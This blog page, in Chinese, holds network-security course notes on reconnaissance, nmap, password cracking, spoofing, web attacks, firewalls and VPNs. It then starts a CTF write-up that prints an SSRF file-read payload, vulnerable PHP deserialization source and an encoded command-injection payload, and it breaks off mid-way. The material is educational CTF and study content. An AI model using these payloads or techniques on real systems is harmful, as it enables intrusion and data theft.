7.公证机制:公正机制对应抗否认性服务。公证机制的作用在于解决收发双方的纠纷问题,确保两方利益不受损害。类似于现实生活中,合同双方签署合同的同时,需要将合同的第三份交由第三方公证机构进行公证。安全机制对安全服务做了详尽的补充,针对各种服务选择相应的安全机制可以有效地提高应用安全性。随着技术的不断发展,各项安全机制相关的技术不断提高,尤其是结合加密理论之后,应用安全性得到了显著提高。本书的后续章节将以加密理论及其相应实现为基础,逐步阐述如何通过加密技术确保企业应用的安全。 0x05黑客攻击类型从安全属性上分类: 阻断攻击,截取攻击,篡改攻击,重放攻击,伪造攻击。 从攻击方式分类: 主动攻击:伪装,回答,修改报文,拒绝服务。 被动攻击:报文内容泄露,通信分析。 第二章 网络攻击流程0x00 黑客攻击流程踩点 —> 扫描 —> 查点 —> 访问/拒绝服务 —> 提权 —> 窃取信息 —> 淹没踪迹 —> 创建后门 0x01 踩点收集目标信息: 123456789101112131415域名;网络地址块 。可以直接从因特网进行访问的各个系统的具体IP地址。已被发现的各个系统上运行的TCP和UDP服务。系统体系结构(例如SPARC或X86)。访问控制机制和相关的访问控制表(access control list,ACL)。入侵检测系统(intrusion detection system,IDS)。各有关系统的细节信息(用户名和用户组名、系统旗标、路由 表、SNMP信息等等)。 DNS主机名。 获取信息方式: 1234公开渠道获取WHOIS查询DNS查询(nslookup,fierce)网络侦查(尝试确定网络的拓扑结构和可能存在的网络访问路径,traceroute) 0x02 搜索引擎使用技巧以google为例: 1234567891011空格或大写的AND: “与”-: “非”大写的“OR” : “或” site:搜寻结果局限在某个具体网站 //sile:www.cumt.edu.cnlink:返回所有链接到某个url的网页 //link:www.cumt.edu.cninurl:返回的网页链接中包含关键词一,链接中或文档中出现第二个关键词 //inurl:cumt 计算机allinurl:返回的网页链接中包含所有查询关键词allintitle & intitle:类似allinurl和inurl,对网页的标题栏进行查询related:搜索结构内容方面相似的网页 //related:www.cumt.edu.com/index.htmlcache:搜索缓存,快照info:搜索相关信息 0x03 扫描基本步骤确定目标系统是否真实存在, 确定目标系统上那些服务正在运行或监听, 探查操作系统。 0x04 nmap使用技巧网络扫描和嗅探工具包 常用命令: 123456789101112-sP :进行ping扫描-sn: Ping Scan - disable port scan #ping探测扫描主机, 不进行端口扫描 (测试过对方主机把icmp包都丢弃掉,依然能检测到对方开机状态)-sA (发送tcp的ack包进行探测,可以探测主机是否存活)-sS :半开放扫描(非3次握手的tcp扫描)/*优点:Nmap发送SYN包到远程主机,但是它不会产生任何会话,目标主机几乎不会把连接记入系统日志。(防止对方判断为扫描攻击),扫描速度快,效率高,在工作中使用频率最高缺点:它需要root/administrator权限执行*/-sT:3次握手方式tcp的扫描 #效率低,速度慢,不需要root-sU:udp端口的扫描 #如果返回ICMP不可达的错误消息,说明端口是关闭的,如果得到正确的适当的回应,说明端口是开放的.udp端口扫描速度比较慢-sF:也是tcp的扫描一种,发送一个FIN标志的数据包-sX:圣诞树扫描-sN:空(NULL)扫描-sW:窗口扫描-sV:版本检测 0x05 查点对识别出来的服务进行更为充分的探查 · 用户账号名(用于随后的口令猜测攻击) · 错误配置的共享资源(如不安全的文件共享) · 具有已知安全性漏洞的旧版本软件(如存在远程缓冲区溢出的web服务器) 0x06 攻击实施分类: 破坏性攻击:利用工具发动攻击 入侵性攻击:利用收集到的信息,找到其系统漏洞,然后利用漏洞获取尽可能高的权限 主要阶段: 预攻击探测:为进一步入侵提供有用信息 口令破解与提升权限 实施攻击:缓冲区溢出、拒绝服务、后门、木马、病毒 攻击善后: 留后门:长时间地保留和巩固对系统的控制权 隐藏踪迹:删除日志文件,更改日志文件,替换系统程序。 0x07 渗透测试一种通过模拟的攻击者的技术与方法,挫败目标系统的安全控制措施 并取得访问控制权的安全测试方法 分类: 白盒测试:拥有组织机构的内部知识的情况下进行的渗透测试 灰盒测试:拥有一部分内部知识的情况下进行的渗透测试 黑盒测试:模拟一个对组织机构一无所知的攻击者进行的渗透测试 步骤(七步) 1234567前期交互阶段:确定渗透测试范围,目标,限制条件以及服务合同细节。情报搜集阶段:获取目标网络拓扑,系统配置,安全防御措施等信息。威胁建模阶段:针对获取的信息进行威胁建模和攻击规划。漏洞分析阶段:总和汇总的情报信息,从漏扫结果,服务查点信息等找出可实施攻击的点。渗透攻击阶段:利用找出的漏洞入侵系统,获取访问权限。后渗透攻击阶段:根据目标组织经营模式,保护资产形式等自主设计攻击目标。实施能造成重要业务影响的攻击报告阶段:凝聚所有阶段的关键情报信息,发现的系统漏洞,成功的渗透攻击过程,同时分析修补与升级方案 渗透工具: Metasploit 第三章 网络嗅探技术网络监听网络嗅探Network Sniffing)】:在他方未察觉的情况下捕获其通信报文、通信内容的技术,只限于局域网 网卡工作模式: 12341. 广播模式(Broadcast Mode):网卡能够接收网络中的广播信息2. 组播模式(Multicast Mode):网卡能够接收组播数据3. 单播模式(Unicast Mode):只接收目的地址匹配本机MAC地址的数据帧4. 混杂模式(Promiscuous Mode,监听模式):网卡接收一切数据帧,无论其目的MAC地址是什么 共享式局域网的监听实现方法 交换式局域网的监听技术(重点) 12345溢出攻击:交换机要维护一张MAC地址与端口的映射表(CAM),维护该表的内存有限。如用大量的错误MAC地址的数据,帧对交换机进行攻击,交换机就可能出现溢出。这时交换机就回到广播方式——向所有的端口发送数据包,监听就很容易了(ARP过载, MAC泛洪)ARP欺骗:计算机维护一个IP-MAC地址对应表,该表随着ARP请求/响应不断更新。 通过ARP欺骗,改变表里的对应关系,攻击者可以成为被攻击者与交换机之间的“中间人”,使交换式局域网中的所有数据包都流经攻击者的网卡。 常用的网络监听工具 Wireshark,Tcpdump/Windump 网络嗅探技术防御监听(被动技术,难以发现)的防御:采用安全的网络拓扑结构和数据加密技术(数据内容加密,数据通道加密)。注意重点区域的安全防范。 交换网络下防监听: 主要防止ARP欺骗及ARP过载 主要措施 12341 不要把网络安全信任关系建立在单一的IP或MAC基础上,理想的关系应该建立在IP-MAC的对应关系上2 使用静态ARP或者IP-MAC对照表代替动态的ARP或者IP-MAC对应表——禁止自动更新,使用手动更新3 定期检查ARP请求:使用ARP监视工具如ARPWatch等监视并探测arp欺骗4 制定良好的安全管理策略,加强用户安全意识 第四章 口令破解0x00 口令破解方法暴力破解:穷举,速度慢。 字典攻击:根据用户信息建立起一个用户可能使用的口令表文件,速度快。 组合攻击:在字典列表的基础上增加几个字母或数字进行攻击。 社会工程学:偷窥,网络嗅探,搜索垃圾箱,重放。 0x01 windows口令文件1.安全账户管理器SAM机制。 1C:\\Windows\\System32\\Config\\SAM 2.SAM文件: 含有本地系统或坐在控制域上所有用户名和口令的HASH值。 3.创建口令HASH方法: LAN Manager (LM):最早使用的密码哈希算法之一 密码的LM哈希步骤 1234561.将口令全部转换为大写2.添加NULL字符,直到口令长度等于14字符,并转化为二进制字符串3.将新口令拆分为两组7位打的字符串4.分别经过str_to_key()函数处理创建两个DES加密密钥,并未每一组添加奇偶校验位,创建出64位的密钥5.使用每个DES密钥加密一个预定义的魔术字符串,获得两个9字节的密文值6.密文值链接成16字节的值,即最终获得的LM哈希。 LM哈希的安全缺陷 12341.des算法密钥太短2.69^7种可能,可以暴力破解3.如果密码长度<=7,则第二部分hash为固定值,因此很容易确定密码的长度范围。4.Hash值在通过网络发送到服务器的时候,没有进行salting操作,容易遭受中间人攻击和重放攻击。 NT LAN Manager V2(NTLMV2): windows2000,XP,VISRA,win7。 NTMLV2安全性:MD4比DES更加健壮,因此可以接受更长的密码,可允许同时使用大小写,不需要将密码拆分为更小更易于破解的片段。 4.安全标示RID:在账号创建是被创建,账号删除时,RID也同时删除,及时用户名相同,每次创建时获得的RID也不同。 5.HASH密码格式: 1用户名:RID:LM-HASH:NT-HASH。 0x02 windows系统的登录与身份认证交互式登录:向本地计算机或域账户确认用户的身份 • 本地账户登录本地计算机:可以使用存储在本地SAM中 的口令散列进行登录——用户输入明文口令,系统对口 令使用相同的加密散列过程,并将散列结果与保存的散 列进行比较,如果匹配,则通过验证 • 域账户登录:默认使用Kerberos V5(身份认证章节) 网络登录:对用户尝试访问的网络服务或资源提供用 户验证。可以使用多种网络身份验证机制,如 Kerberos V5、安全套接字/传输层安全(Secure Socket Layer/Transport Layer Security,SSL/TLS) 以及与Windows NT 4.0兼容的NTLM机制 基于挑战/响应机制(C/R,Challenge/Response) 0x03 Unix/linuxLinux是一套免费使用和自由传播的Linux 类 操作系统 Unix ,是一个基于 POSIX的多用户、 多任务 、支持多线程和多CPU的操作系统。它能运行主要的CPU 工具软件、应用程序和UNIX 议 , 支持网络协位 32 和位 64 硬件。 Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。 1.特点:自由开放,配备需求低廉,功能强大而稳定,真正的多用户多任务。 2.与WINDOWS不同 123Linux严格区分大小写Linux中所有内容都以文件的形式保存,包括硬件Linux不以扩展名来区分文件类型 3.linux密码 修改密码指令 passwd 密码系统: 12/etc/passwd: 包含了用户名、用户的真实姓名、标 识信息以及每个用户的基本信息,各个域之间用”:” 隔开/etc/shadow: 影子密码文件,包含了加密过的密码以 及密码失效时间 加密方式: 12过去:单向函数crypt(),基于DES算法现在:Unix Salt,crypt16(),MCF(模块化加密格式) 4.UID/GID 用户标识符UID: 12341~499:用于系统功能500~: 用户0:超级用户保留(当UID为0的用户运行一个进程时, 内核对该进程取消了大部分的安全检查)//Unix的特权是根据UID来确定的,与Unix账 号无关 组标识符GID 12345每个Unix用户都属于一个或者几个组每个用户都隶属于一个主用户组,存储在/etc/passwd文件中可以利用组来限制一些用户对敏感信息或者特殊许可的应用程序的访问权/etc/group:列出了计算机上所有的组/etc/gshadow:计算机上所有组的群组影子密码文件 基本命令 12345groupadd 新建用户组groupmod 更改用户组名称或组编号 -n 组名称 -g 组编号groupdel 删除用户组 useradd 增加新用户 -g 指定用户所属的组 -G 指定用户所属的附加组usermod 修改用户信息 -l 修改用户名称 -L 锁定用户密码 0X04 MYSQL口令破解用户名密码保存在mysql数据库中user表中 找到user.MYD user.MYI user.frm拷贝到自己的数据库中 123use mysql;select user,password from user; 提取hash。 带号的HASH值是MYSQL5的HASH,不带号的是旧版MYSQL的HASH。 然后利用Cain & Abel || cmd5破解 0x05 暴力破解工具Hydra 破解服务:FTP、TELNET、SMB、MSSQL、MYSQL、 POP3、SSH、REDIS等 Medusa “美杜莎”,一款强大的破解工具,可以迅速的、大规模 并行的、模块化的暴力破解程序 John the ripper:一个密码工具软件。主要支持对DES、MD5两种加密 方式的密文进行破解工作。可以工作于多中不同的机 型以及多 种不同的操作系统之下 第五章 欺骗攻击0x00 欺骗冒充身份通过认证以骗取信任的攻击方式 攻击者针对认证机制的缺陷,将自己伪装成可信任方, 从而与受害者交流,以获取信息或者展开进一步攻击 常见的欺骗攻击 12345ip欺骗ARP欺骗邮箱欺骗DNS欺骗WEB欺骗 0x01 IP欺骗IP协议:非面向连接,两台计算机的信任连接主要依 靠双方的IP地址 IP欺骗的方式: 123简单的IP地址更改:攻击者将一台计算机的IP地址修改为其它主机的地址, 以伪装冒充其它机器源路由攻击:保证数据包始终会经 过一条经定的途径,而攻击者机器在该途径中TCP会话劫持:接管现存动过程,即攻击者可以替代原来的合法用户,同时监视并掌 握会话内容 TCP会话劫持步骤 1.发现攻击目标 ①目标是一个准予TCP 会话连接(例如Telnet和FTP等)的服务器 ②能否检测数据流 2.确认动态会话 3.猜测序列号 ①通过嗅探或者ARP欺骗,先发现目标机正在使用 的序列号,再根据序列号机制,可以猜测出下一 对SEQ/ACK序列号 ② 同时,攻击者若以某种方法扰乱客户主机的SEQ/ACK,服务器将不再相信客户主机正确的数据包,从而可以伪装为客户主机,使用正确的 SEQ/ACK序列号,现在攻击主机就可以与服务器进 行连接,这样就抢劫一个会话连接。 4.使客户主机下线 对其进行拒绝服务攻击 5.接管会话 ①持续向服务器发送数据包并且接管整个会话 ②创立账户留下后门 TCP会话劫持的危害 1.就其实现原理而言,任何使用Internet进行通信 的主机都有可能受到这种攻击 2产生了简单适用的会话劫持攻击软件,技术门槛的 降低导致了很多“少年攻击者”的诞生. 原因: 一个最主要的原因就是它并不依赖于操作系统,另一个原因就是它可以被用来进行积极的攻击,通过攻击行为可以获得进入系统的可能。 工具 : Juggernaut ; Hunt IP欺骗的防御——路由器过滤 1.防范基本的IP欺骗:入口过滤,出口过滤。 2.防范源路由欺骗:设置路由器禁止源路由。 3.防范会话劫持(没有有效的办法可以根本上防范会话 劫持攻击,只能尽量减少攻击带来的危害): ① 加密 ②使用安全协议 SSH ③限制保护,允许外网到内网的信息越少越安全。 0x02 ARP欺骗1.arp基础知识 1234567891011121.地址解析协议,用于将计算机的网络地址(IP地址32位)转化为物理地址(MAC地址48位)。属于链路层的协议。2.数据帧从一个主机到达局域网内的另一台主机是根据48位的以太网地址来确定的,而不是32位IP。3.内核(如驱动)必须知道目的端的硬件地址才能发送数据。4.ARP请求包:ARP工作时,送出一个含有目的IP地址的以太网广播数据包,这也就是ARP请求包。它表示:我想与目的IP通信,请告诉我此IP的MAC地址。ARP请求包格式如下:arp who-has 192.168.1.1 tell 192.168.1.25.当目标主机收到ARP请求包,发现请求解析的IP地址与本机IP地址相同,就会返回一个ARP应答包。它表示:我的主机就是此IP,我的MAC地址是某某某。ARP应答包的格式如下:arp reply 192.168.1.1 is-at 00:00:0c:07:ac:006.arp缓存表: ①ARP缓存表用于存储其它主机或网关的IP地址与MAC 地址的对应关系。 ②每台主机、网关都有一个ARP缓存表。 ③ARP缓存表里存储的每条记录实际上就是一个IP地址与MAC地址对,它可以是静态的,也可以是动态的。如果是静 态的 ,那么该条记录不能被ARP应答包修改; 如果是动态的,那么该条记录可以被ARP应答包修改。 2. arp的缺陷 1234主机收到应答包后 : 不验证自己是否发送过对应的arp请求。 不验证该回应包是否可信 直接用应答包里的信息替换ARP缓存表中的原有信息 3. arp欺骗的原理 主机A和主机B在同一个局域网内,B无脑的向A 发送 ARP Reply, 告诉 主机A 路由器的 MAC 是 xxxB, B 无脑的向路由器发送 ARP Reply, 告诉路由器 主机A 的 MAC 是 xxxB。这样主机A通过路由器发出的数据和路由器返回给主机A的数据都会经过主机B。主机B就完成了对A的arp欺骗。 4.arp欺骗的后果 123导致同网段的其他用户无法正常上网.嗅探交换式局域网内的所有数据包,从而获取敏感信息.对信息进行篡改,修改重要信息,进而控制受害者会话. 5.arp欺骗的检测 1234网络频繁掉线.网络突然莫名其妙的慢.使用arp –a命令发现网关的MAC地址与真实的网关MAC地址不同.使用网络嗅探软件发现局域网存在大量ARP响应包. 6.arp欺骗的防御 12345MAC地址绑定使用静态ARP缓存使用ARP服务器(确保该服务器不被控制)使用ARP欺骗防护软件,如ARP防火墙及时发现进行ARP欺骗的主机,并将其隔离 0x03 邮件欺骗1.邮件系统的组成 123用户代理传输代理投递代理 2.电子邮件欺骗的方法 利用相似的电子邮件地址。 直接使用伪造的E-mail地址。 3.电子邮件欺骗的防御 ①邮件接收者:合理配置邮件客户端,使总能显示完整的电子邮件地址,而不仅仅显示别名,完整的电子邮件地址能提供表明正在发生一些不平常事情的一些迹象。 ②邮件发送者:如使用foxmail或者outlook之类的邮件客客户端。 ③邮件服务器提供方采用SMTP身份验证机制:新SMTP协议规范新增2个命令(VRFY,EXPN) ,对发件人进行身份认证,一定程度上降低了匿名/垃圾邮件的风险。 ④邮件加密:OpenPGP,S/MIME。 0x04 DNS欺骗1.DNS欺骗的原理及实现步骤 当向本地DNS服务器查询域名时,如果服务器缓存中已有相应记录,就直接将这条记录返回给用户。DNS欺骗的关键是在DNS服务器的本地Cache中缓存一条伪造的解析记录。 123456789if 攻击者可以控制本地域名服务器 : 在其数据库中增加一个附加记录,将攻击目标的域名(例 如www.cumt.edu.cn)指向攻击者的欺骗IPif 攻击者无法控制DNS服务器: 但可以控制DNS服务器所在网络的某台主机,并可以监听该网络中的通信情况。黑客要对远程的某DNS服务器进行欺骗,首先,黑客要冒充某个域名服务器的IP地址.其次,黑客要能预测目标域名服务器所发送DNS数据包的ID号.(确定目标DNS服务器的ID号为DNS欺骗攻击的关键)if 即使无法监听拥有DNS服务器的网络,也有办法得到目标DNS服务器的ID号: 1. 向目标DNS服务器请求某个不存在域名地址(但该域存在) 2. 冒充所请求域的DNS服务器,向目标DNS服务器连续发送应 答包,包中的ID号依次递增 3. 一段时间后,再次向目标DNS服务器发送针对该域名的解析 请求,如果得到返回结果,就说明目标DNS服务器接受了刚才的伪造应答,否则,再次尝试。 0x05 WEB欺骗创造一个完整的令人信服的Web世界,但实际是一个虚假的复制。 Web欺骗成功的关键是在受害者和真实Web服务器之 间插入攻击者的Web服务器—中间人攻击(man-in-the-middle)。 第六章 web攻击0x00 概述1.Web服务器的安全: 利用Web服务器漏洞进行攻击,如IIS缓冲区溢出漏洞、目录遍历漏洞等。 利用网页自身的安全漏洞进行攻击,如SQL注 入,跨站脚本攻击等 2.Web客户端的安全 Java Applet、ActiveX、Cookie等大量被使用,当编辑内容时,应用程序会自动下载并运行,如果被恶意使用,则可以窃取、改变或删除客户机上的信息。 浏览器存在众多漏洞,可以写一个利用某漏洞的网页并挂上木马,当用户访问网页之后就中了木马。即网页木马,简称网马。 跨站脚本攻击对于客户端的安全威胁:利用XSS的 Web蠕虫已经在网络中肆虐过。 3.Web通信信道的安全 面临网络嗅探和以拥塞信道、耗费资源为目的的拒绝服务攻击的威胁。 4.工具 目标操作系统和网络服务扫描:NMAP,Nessus,Nexpose Web应用扫描工具:Burp Suite,AWVS. 0x01 SQL注入1.原理 利用Web应用对后台数据漏洞,攻击者提交一段精心构造的数据库查询代码, 根据返回的结果,获得他想得知的数据。 2.注入分类 普通注入:利用union查询等来进行注入。 报错注入:根据报错信息进行注入。 盲注:bool盲注,时间盲注。 3.注入位置 只要执行了了数据库查询语句的地方都可能存在注入。 4.sql注入防范 ①使用预编译语句,绑定变量 ②对用户提交的数据和输入参数进行严格的过滤 ③摒弃动态 SQL 语句,改用存储过程来访问和操作数据 ④使用安全函数 ⑤最小权限原则 12更多注入细节步骤利用sqli-labs进行sql注入练习 参考:http://altman.vip/2018/02/05/sqli-labs%201/ 0x02 XSS攻击者往Web页面里插入恶意html代码,当用户浏览该网页时, 嵌入其中的恶意代码被执行,达到特殊目的。 一旦得手,黑客可以盗取用户帐户,修改用户设置,盗取 /污染cookie,做虚假广告,查看主机信息等。 1.跨站脚本攻击发起条件 Web服务器允许用户在表格或编辑框中输入不相关的字符。 Web服务器存储并允许把用户输入显示在返回给终端用户的页面上,而没有去除非法字符或者重新进行编码。 2.攻击实现条件 需要存在跨站脚本漏洞的web应用程序 需要用户点击连接或者访问某一页面 3.分类 反射型XSS(XSS Reflection,非持久性的XSS):简单的将用户输入数据“反射”给浏览器,黑客需要诱导用户点击一个恶意链接。 存储式XSS(Stored XSS):攻击脚本永久存储在目标服务器数据库或者文件中,比如黑客写下一篇含有恶意JavaScript代码的博客文章。 DOM型XSS:利用 DOM(文档解析功能)发动攻击。 4.防御 用户:教育为主 Web应用开发者: 对所有用户提交内容进行可靠的输入验证。 保护所有敏感的功能,以防被机器人自动执行或者被第三方网站所执行。 0x03 跨站请求伪造 (CSRF)原理: 防御: 123通过验证码进行防御通过Referer Check检查请求来源增加请求参数 token 0x04 web攻击防御1.简单性:主机系统越简单,其安全性就越好。最好把不必要的服 务从服务器上卸载掉。 2.超级用户权限:尽量不用超级用户来维护系统。 3.本地和远程访问控制:访问控制是用来指定哪些用户可以访问系统的特定数据、 目录或功能。应该实现一套有效的身份验证机制,并包含用户的日志记录。 4.审计和可审计性:主要指平时对记录进行审计,在系统生成的大量审计记录 中查找可疑数据,查找攻击者或恶意程序的踪迹. 5.恢复:配置实时或增量备份策略是非常必要的,在紧急关头可以使得服务器的关键数据得以保存,从而可以迅速恢复服务以减少损失,同时便于事后取证的进行,以追查入侵者。 第七章 缓冲区溢出0x00 概述什么是缓冲区: 包含相同数据类型实例的一个连续的计算机内存块, 是程序运行期间在内存中分配的一个连续区域,用于保存包括字符数组在内的各种数据类型。 缓冲区溢出(Buffer Overflow):向固定长度的缓冲区中写入超出其预定长度的内容,造成缓冲区数据溢出,从而覆盖缓冲区周围的内存空间。 黑客借此精心构造填充数据,可以修改内存中变量的 值,导致原有流程改变,甚至可以劫持进程,执行恶意代码,最终获取系统控制权。 其他攻击类型相比,缓冲区溢出攻击: 123技术性强破坏力大隐蔽性强 0x01 缓冲区溢出原理栈溢出 堆溢出 BSS溢出 格式化串溢出 整数溢出 0x02 防御缓冲区溢出的真正原因在于编程语言缺乏类型安全,程序缺少边界检查。 源码级保护方法 运行期保护方法 阻止攻击代码执行 加强系统防护 第八章 身份认证1.AAA机制:认证,授权,审计。 2.认证分类 123基于口令认证:简单口令认证,基于单向函数的口令认证,一次性口令认证。基于生理特征的认证。基于地址的认证:每个主机存储着可以访问本机的其他主机的账号信息,这样只要确认了对方的主机地址,就可以进行用户验证。 3.Kerberos认证协议 基于可信第三方(Trusted Third Party,TTP)的认证协议;MIT的雅典娜项目组(Athena Group)开发的认证服务系统,基于对称加密技术。 基本思想(假设):能正确对信息进行解密的用 户就是合法用户 三个子协议: 1231. 认证服务器交换(AS交换):在客户C和AS间进行2.票证授予服务器交换(TGS交换):在C和TGS间交换3.客服服务器认证应用交换(AP交换):在C和应用服务器S间进行 构成 : 一个完整的 Kerberos 环境包括一个 Kerberos 服务器,一组工作站和一组应用服务器。 4.公钥基础设施PKI PKI:以公钥算法为中心的密钥管理体系,能提供公钥教秘和数字证书服务,采用证书管理公钥,通过可信第三方CA把用户公钥和用户的其他标识信息捆绑在一起。 5.PKI的组成 12345认证中心(CA)证书库密钥备份及恢复系统证书作废处理系统客户端证书处理系统和 第九章 防火墙0x00 基本原理1.防火墙是位于两个网络间的实施网间访问控制的组件的集合,防火墙通常是单独的计算机、路由器或专有硬件设备, 充当访问网络的唯一入口点。 123内网和外网的所有网络数据流必 须经过防火墙.只有符合安全策略的数据流才能通过防火墙.防火墙自身对渗透(penetration) 是免疫的. 2.处理方式 ACCEPT:允许数据包或信息通过 Reject:拒绝数据包或信息通过,并且通知信息源该信息被进制 Drop:直接将数据包或信息丢弃,不通知信息源 3.基本策略 默认允许原则:没有明确禁止的都是允许的 默认拒绝原则:没有明确允许的都是禁止的 4.主要功能 网络安全的屏障 强化网络安全策略 对网络存取和访问进行监控审计 防止内部信息的外泄 ###0x01 防火墙的分类 1.包过滤防火墙 工作在网络层和传输层。设定访问控制列表ACL(Access Control List),检查所有通 过的数据包。 发展:静态包过滤防火墙,动态包过滤防火墙(状态检测)。 1234567优点:逻辑简单,价格便宜,对网络性能的影响较小,有较强的透明性。与应用层无关。缺点:需要对IP、TCP、UDP等协议有深入了解,否则容易出现因配置不当而带来问题。过滤有限,不能充分满足各种安全要求。不能彻底防止地址欺骗。 2.代理服务器 应用层代理/代理服务器通过在主机上运行代理服务程 序,直接对特定的应用层进行服务,因此也称应用型防火墙。 12345678优点:1.易于配置,界面友好。2.不允许内外网主机的直接链接。3.提供详细日志。4.可以隐藏用户内部的IP,可以给单个用户授权缺点:1.速度相对慢。2.需要为不同的网络服务建立专门的代理服务。 3.电路级网关 监控受信任的客户或服务器与不受信任的主机间的TCP握手信息,以决定会话是否合法。 网络地址转换(NAT):属接入广域网技术,一种将私有IP地址转化为合法广域网IP地址的转换技术,被广泛应用。 NAT分类:静态NAT,动态NAT,端口转换NAPT。 4.混合型防火墙 0x02 防火墙的配置方案1.屏蔽路由器:最简单的防火墙配置,直接在内网和 外网之间加装一个包过滤路由器或者应用网关 2.双宿主机模式:采用主机替代路由器执行安全控制功能, 类似于包过滤防火墙,是外部网络用户进入内部网络的唯一通道。 特点:主机的路由功能被禁止,两个网络间的通信通过双宿主机完成。 弱点:一但堡垒机被攻破,可任意访问内网。 3.屏蔽主机模式:包过滤路由器连接外网,堡垒主机安装在内网。 4.屏蔽子网模式:较流行的一种结构,采用两个包过滤路由器和一个堡垒主机,在内外网络之间建立一个被隔离的子网,称为DMZ 0x03 WAF通过执行一系列针对HTTP/HTTPS的安全策略来专门为 Web应用提供保护。 分类: 硬件WAF 软件WAF 代码级WAF 第十章 虚拟专用网(VPN)0x00 VPN基础虚拟专用网(Virtual Private Network, VPN)是在公共网络上传输私有通信的方法。 优点:节省开支,安全,服务质量保证,可扩展性,容易访问,可管理性。 分类: 123企业外部VPN:外部的客户,合作伙伴等安全访问企业网络。企业内部VPN:企业总部、远程办事处和分公司等安全访问企业网络。远程访问VPN:使用PSTN,ISDN,DSL和移动IP等方法接入。 0x01 隧道隧道化: 123通过internet基础设施,在企业网络间传递数据。传递的数据可以是不同协议的网络包。隧道协议将不同类型协议的数据包重新封装在新的包中发送。 主要隧道协议 PPTP和L2TP比较 GRE:通过隧道将通信从一个专用网络传输到另一个专用网络。本身不提供安全性。 0x02 IPSEC1.IPSEC的概述 IPSec(IP Security)是用于构建VPN的一系列协议,正在成为创建VPN的标准。 为提供加密安全服务而开发,支持认证、完整性、访问控制以及数据一致性。 IPSec只允许IP数据的封装和加密。 2.工作模式 传输模式(Transport Mode):点到点。 隧道模式(Tunnel Mode):站点到站点。 3.组成 Internet密钥交换协议(IKE):提供协商安全参数和创建认证密钥等。 负载安全封装(ESP):提供加密,认证和数据保护。 认证报头协议(AH):提供认证和数据保护。 4.功能 访问控制,无连接的完整性,数据源认证,防止重放攻击,机密性。 5.工作过程 6.分组分装 分组封装由ESP或AH或两者一起处理。 AH:为IP数据报提供无连接的 完整性和数据源认证的机制 ESP:提供了AH的大部分保护加上额外的机密性 7.IKE 因特网密钥交换协议:用于协商IPSec安全关联(security association, SA),要求IPSec系统首先进行身份认证,并且建立ISAKMP或者IKE共享密钥。 主要负责: 1234协商协议的参数交换公共密钥对双方进行认证在交换后对密钥进行管理 //wating","categories":[],"tags":[{"name":"课程复习","slug":"课程复习","permalink":"http://altman.vip/tags/%E8%AF%BE%E7%A8%8B%E5%A4%8D%E4%B9%A0/"}]},{"title":"第四届上海市大学生网络安全赛-WEB&MISC","slug":"第四届上海市大学生网络安全赛-WEB","date":"2018-11-04T06:14:36.000Z","updated":"2018-11-05T12:53:59.179Z","comments":true,"path":"2018/11/04/第四届上海市大学生网络安全赛-WEB/","link":"","permalink":"http://altman.vip/2018/11/04/%E7%AC%AC%E5%9B%9B%E5%B1%8A%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%A4%A7%E5%AD%A6%E7%94%9F%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%B5%9B-WEB/","excerpt":"1文章首发于https://www.freebuf.com/column/188520.html WEBweb1查看robots.txt得知flag.php和source.php访问source.php,需要以管理员登录 POST数据admin=1需要伪造IP为127.0.0.1多番尝试后发现可以用x-client-ip绕过","text":"1文章首发于https://www.freebuf.com/column/188520.html WEBweb1查看robots.txt得知flag.php和source.php访问source.php,需要以管理员登录 POST数据admin=1需要伪造IP为127.0.0.1多番尝试后发现可以用x-client-ip绕过 添加http头x-client-ip:127.0.0.1POST数据url=http://www.ichunqiu.com得到一个图片地址,将图片数据下载下来后发现是www.ichunqiu.com网站首页源码。显然是ssrf那么接下来就要构造url读取其他文件。利用file://协议读取本地文件,绕过检测最终得到payload url=file://www.ichunqiu.com//var/www/html/flag.php 将JPG文件下载然后查看内容 web2一道反序列化题目.index.php.swp发现源码 1vim -r index.php 恢复源码 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273<?phperror_reporting(0);class come{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf(trim($v)); } } function waf($str){ $str=preg_replace(\"/[<>*;|?\\n ]/\",\"\",$str); $str=str_replace('flag','',$str); return $str; } function echo($host){ system(\"echo $host\"); } function __destruct(){ if (in_array($this->method, array(\"echo\"))) { call_user_func_array(array($this, $this->method), $this->args); } } }$first='hi';$var='var';$bbb='bbb';$ccc='ccc';$i=1;foreach($_GET as $key => $value) { if($i===1) { $i++; $$key = $value; } else{break;}}if($first===\"doller\"){ @parse_str($_GET['a']); if($var===\"give\") { if($bbb===\"me\") { if($ccc===\"flag\") { echo \"<br>welcome!<br>\"; $come=@$_POST['come']; unserialize($come); } } else {echo \"<br>think about it<br>\";} } else { echo \"NO\"; }}else{ echo \"Can you hack me?<br>\";}?> 很明显的反序列化首先简单的构造打出welcome回显,进入POST语句然后构造反序列化然后上传成功执行命令。获取flag的过程中发现空格被bypass了,这里用$IFS绕过双写flag绕过过滤最终payload 1O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A18%3A%22%60cat%24IFS%2Fflaflagg%60%22%3B%7D%7D web31234567891011121314151617181920212223242526272829直接给了源码<?php //error_reporting(0); //$dir=md5(\"icq\" . $_SERVER['REMOTE_ADDR']); $dir=md5(\"icq\"); $sandbox = '/var/sandbox/' . $dir; @mkdir($sandbox); @chdir($sandbox); if($_FILES['file']['name']){ $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name']; if (!is_array($filename)) { $filename = explode('.', $filename); } $ext = end($filename); if($ext==$filename[count($filename) - 1]){ die(\"emmmm...\"); } $new_name = (string)rand(100,999).\".\".$ext; move_uploaded_file($_FILES['file']['tmp_name'],$new_name); $_ = $_POST['hehe']; if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){ include($_); } unlink($new_name); } else{ highlight_file(__FILE__); } 首先要绕过 1end($filename)==$filename[count($filename) - 1] 前者是数组里最后一个元素,后者取根据数组下标来取的值。所以,我们只需要让下标等于count($filename) - 1的元素不是数组最后一个元素即可。例如 1[1=>'123', 5=>'php'] 此时 